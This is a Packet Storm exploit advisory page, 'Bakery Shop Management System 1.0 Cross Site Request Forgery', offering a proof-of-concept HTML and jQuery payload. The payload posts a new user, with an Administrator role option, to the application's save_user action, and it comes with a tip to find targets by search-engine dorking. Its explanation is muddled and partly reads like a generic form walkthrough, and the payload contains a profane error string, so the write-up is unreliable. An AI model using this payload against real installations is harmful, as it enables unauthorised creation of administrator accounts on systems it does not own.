what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Bakery Shop Management System 1.0 Cross Site Request Forgery

Bakery Shop Management System 1.0 Cross Site Request Forgery
Posted Aug 13, 2024
Authored by indoushka

Bakery Shop Management System version 1.0 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 3654863058f09649db284f346cf2ee9501e70a9d157f569b64c35ba13742a4d1

Bakery Shop Management System 1.0 Cross Site Request Forgery

Change Mirror Download
=============================================================================================================================================
| # Title : Bakery Shop Management System 1.0 CSRF Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |
| # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/bsms_0.zip |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This HTML code :

represents a simple user form that collects data for a user (like a username, password, and user type) and submits it to a server using AJAX.
Let me break down the key components of this code:

[+] HTML Structure

Container & Form:

<div class="container-fluid">: This div serves as a container for the form and ensures that it will take up the full width of its parent container.
<form action="" id="user-form">: This form collects user data. The action attribute is empty,
meaning the form doesn't submit in the traditional way (it's handled via JavaScript instead).

Hidden Input:
<input type="hidden" name="id" value="">: This hidden input is used to store the user ID. It might be used for editing an existing user where the user ID
is sent back to the server but isn't visible to the user.

[+] Form Fields:

Full Name:

<label for="fullname" class="control-label">Username</label>
<input type="text" name="fullname" id="fullname" required class="form-control form-control-sm rounded-0" value="">

This field is actually mislabeled—the label says "Username," but the input is for the user's full name.
The input field is styled using Bootstrap classes.

Username:

<label for="username" class="control-label">Password</label>
<input type="text" name="username" id="username" required class="form-control form-control-sm rounded-0" value="">

[+] Similarly, this field is labeled as "Password," but the input is meant for the username. The input type should be password instead of text for security reasons.

[+] User Type:

<label for="type" class="control-label">Type</label>
<select name="type" id="type" class="form-select form-select-sm rounded-0" required>
<option value="1">Administrator</option>
<option value="0">Cashier</option>
</select>

This dropdown allows the user to select their type—either "Administrator" or "Cashier." The selected value (1 or 0) is sent to the server.

[+] Submit Button:

<button type="submit" class="btn btn-primary">Save</button>: This button submits the form. It's styled as a primary button using Bootstrap.

[+] JavaScript (jQuery)

Form Submission Handling:
$(function(){ ... }): This is a jQuery shorthand for $(document).ready(), meaning the function runs after the DOM is fully loaded.
$('#user-form').submit(function(e){ ... }): This function handles the form submission.
The default form submission behavior is prevented (e.preventDefault()), meaning the form doesn't reload the page.

Message Handling:
$('.pop_msg').remove();: This removes any previous pop-up messages before submitting the form.
_el.addClass('pop_msg'): Creates a new element for displaying messages (e.g., success or error messages).

AJAX Request:
$.ajax({ ... }): Sends the form data to the server without reloading the page.
URL: The form is submitted to http://127.0.0.1/bsms/Actions.php?a=save_user.
Method: The data is sent using the POST method.
Data: The form data is serialized (_this.serialize()) and sent as JSON.
Error Handling:
If an error occurs, the script logs it to the console and displays an error message (which currently says "Yes Mother fucker !"
—this is an inappropriate message and should be corrected to something like "An error occurred.").
Success Handling:
If the submission is successful, the form is reset, a success message is shown, and the page may reload after a short delay.
If the submission fails, the error message from the server response is displayed.

[+] Line 36 : Set your target url

[+] save payload as poc.html

[+] payload :

<div class="container-fluid">
<form action="" id="user-form">
<input type="hidden" name="id" value="">
<div class="form-group">
<label for="fullname" class="control-label">Username</label>
<input type="text" name="fullname" id="fullname" required class="form-control form-control-sm rounded-0" value="">
</div>
<div class="form-group">
<label for="username" class="control-label">Password</label>
<input type="text" name="username" id="username" required class="form-control form-control-sm rounded-0" value="">
</div>
<div class="form-group">
<label for="type" class="control-label">Type</label>
<select name="type" id="type" class="form-select form-select-sm rounded-0" required>
<option value="1">Administrator</option>
<option value="0">Cashier</option>
</select>
</div>
<button type="submit" class="btn btn-primary">Save</button>
</form>
</div>

<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
$(function(){
$('#user-form').submit(function(e){
e.preventDefault();
$('.pop_msg').remove(); // Remove any previous pop-up messages

var _this = $(this);
var _el = $('<div>').addClass('pop_msg');

$('#user-form button[type="submit"]').attr('disabled', true).text('Submitting form...');

$.ajax({
url: 'http://127.0.0.1/bsms/Actions.php?a=save_user',
method: 'POST',
data: _this.serialize(),
dataType: 'JSON',
error: function(err) {
console.log(err);
_el.addClass('alert alert-danger').text("Yes Mother fucker !");
_this.prepend(_el);
_el.show('slow');
$('#user-form button[type="submit"]').attr('disabled', false).text('Save');
},
success: function(resp) {
if (resp.status == 'success') {
_el.addClass('alert alert-success').text(resp.msg);
_this.prepend(_el);
_el.show('slow');

$('#user-form').get(0).reset(); // Reset form after successful submission

// Optional: reload page after a short delay
setTimeout(function() {
location.reload();
}, 2000);

} else {
_el.addClass('alert alert-danger').text(resp.msg);
_this.prepend(_el);
_el.show('slow');
}

$('#user-form button[type="submit"]').attr('disabled', false).text('Save');
}
});
});
});

</script>


Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close